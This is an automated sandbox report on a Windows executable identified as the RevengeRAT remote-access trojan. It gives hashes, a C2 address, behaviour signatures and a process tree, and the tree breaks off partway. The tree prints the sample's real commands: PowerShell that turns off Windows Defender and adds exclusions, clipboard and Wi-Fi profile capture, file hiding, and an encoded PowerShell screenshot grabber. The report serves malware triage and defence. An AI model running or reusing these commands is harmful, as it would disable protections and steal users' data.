Overview

overview

10

Static

static

10

Unconfirme...73.exe

windows11-21h2-x64

Resubmissions

08-12-2024 11:07

241208-m8g41awphl 10

08-12-2024 10:56

241208-m1r91a1pb1 10

Analysis

  • max time kernel
    405s
  • max time network
    413s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    08-12-2024 10:56

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    Unconfirmed 491973.exe

  • Size

    7.4MB

  • MD5

    06c8f4d6e1a87c3dac7d9f8ee0590a07

  • SHA1

    8e69e51a16c5de06d2a8229369f56ac208ae7168

  • SHA256

    dc89a29ffa3d8e5ad1ad9ca38ecf4e05f78d8b8dc6ef772e084df6c2e380ba4b

  • SHA512

    376628120d1861cc7393d3fd7c530db892488f2a481b9fea1cc6fed66ec41e7e4a660794a076c5b38823cf92937c6329e4057105a5f53b4305bc5fbdceca3300

  • SSDEEP

    196608:4i0cDJLjv+bhqNVoBKUh8mz4Iv9PQv1DVm:sixL+9qz8/b4Imv3m

Score
10/10
revengeratguestcollectiondefense_evasiondiscoveryevasionexecutionpersistenceprivilege_escalationransomwarespywarestealertrojanupx

Malware Config

Extracted

Family

revengerat

Botnet

Guest

C2

0.tcp.ngrok.io:19521

Mutex

RV_MUTEX

Signatures

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

    trojanrevengerat
  • Revengerat family
    revengerat
  • RevengeRat Executable 1 IoCs
    stealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

    execution
  • Disables Task Manager via registry modification
    evasion
  • Downloads MZ/PE file
  • Drops file in Drivers directory 3 IoCs
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Drops startup file 3 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Uses the VBS compiler for execution 1 TTPs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 1 IoCs
    persistence
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates processes with tasklist 1 TTPs 5 IoCs
    discovery
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 60 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Windows directory 1 IoCs
  • Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 2 IoCs

    When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

    defense_evasion
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 50 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 14 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 5 IoCs
  • NTFS ADS 6 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 38 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\Unconfirmed 491973.exe
    "C:\Users\Admin\AppData\Local\Temp\Unconfirmed 491973.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5260
    • C:\Users\Admin\AppData\Local\Temp\Unconfirmed 491973.exe
      "C:\Users\Admin\AppData\Local\Temp\Unconfirmed 491973.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:5724
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Unconfirmed 491973.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5696
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Unconfirmed 491973.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1652
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2152
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4516
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Disable firewalls', 0, 'Error 444', 0+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2404
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Disable firewalls', 0, 'Error 444', 0+16);close()"
          4⤵
            PID:2244
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3452
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:1660
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4264
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5540
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4580
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
            4⤵
              PID:2032
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2268
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
              4⤵
                PID:456
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3576
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                • Suspicious use of AdjustPrivilegeToken
                PID:4084
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:5020
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                PID:3256
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Unconfirmed 491973.exe""
              3⤵
              • Hide Artifacts: Hidden Files and Directories
              • Suspicious use of WriteProcessMemory
              PID:944
              • C:\Windows\system32\attrib.exe
                attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Unconfirmed 491973.exe"
                4⤵
                • Views/modifies file attributes
                PID:5556
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:5984
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:3404
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:640
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:3104
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3920
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:2352
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2248
              • C:\Windows\System32\Wbem\WMIC.exe
                WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                4⤵
                  PID:4868
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                3⤵
                • Clipboard Data
                PID:4236
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell Get-Clipboard
                  4⤵
                  • Clipboard Data
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1512
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                3⤵
                  PID:4336
                  • C:\Windows\system32\tasklist.exe
                    tasklist /FO LIST
                    4⤵
                    • Enumerates processes with tasklist
                    PID:3596
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                  3⤵
                  • System Network Configuration Discovery: Wi-Fi Discovery
                  PID:6052
                  • C:\Windows\system32\netsh.exe
                    netsh wlan show profile
                    4⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Network Configuration Discovery: Wi-Fi Discovery
                    PID:3544
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                    PID:3696
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:5572
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "systeminfo"
                      3⤵
                        PID:900
                        • C:\Windows\system32\systeminfo.exe
                          systeminfo
                          4⤵
                          • Gathers system information
                          PID:6132
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                        3⤵
                          PID:4872
                          • C:\Windows\system32\reg.exe
                            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                            4⤵
                              PID:5532
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                            3⤵
                              PID:1680
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                4⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:2828
                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\khjk1goa\khjk1goa.cmdline"
                                  5⤵
                                    PID:5776
                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA7F8.tmp" "c:\Users\Admin\AppData\Local\Temp\khjk1goa\CSC997CB89C68014DC9A3ED24E11768992.TMP"
                                      6⤵
                                        PID:3304
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                  3⤵
                                    PID:1804
                                    • C:\Windows\system32\tree.com
                                      tree /A /F
                                      4⤵
                                        PID:5820
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                      3⤵
                                        PID:3320
                                        • C:\Windows\system32\attrib.exe
                                          attrib -r C:\Windows\System32\drivers\etc\hosts
                                          4⤵
                                          • Drops file in Drivers directory
                                          • Views/modifies file attributes
                                          PID:5024
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                        3⤵
                                          PID:4884
                                          • C:\Windows\system32\tree.com
                                            tree /A /F
                                            4⤵
                                              PID:4756
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                            3⤵
                                              PID:5480
                                              • C:\Windows\system32\attrib.exe
                                                attrib +r C:\Windows\System32\drivers\etc\hosts
                                                4⤵
                                                • Drops file in Drivers directory
                                                • Views/modifies file attributes
                                                PID:4560
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                              3⤵
                                                PID:3992
                                                • C:\Windows\system32\tree.com
                                                  tree /A /F
                                                  4⤵
                                                    PID:4772
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                  3⤵
                                                    PID:2384
                                                    • C:\Windows\system32\tasklist.exe
                                                      tasklist /FO LIST
                                                      4⤵
                                                      • Enumerates processes with tasklist
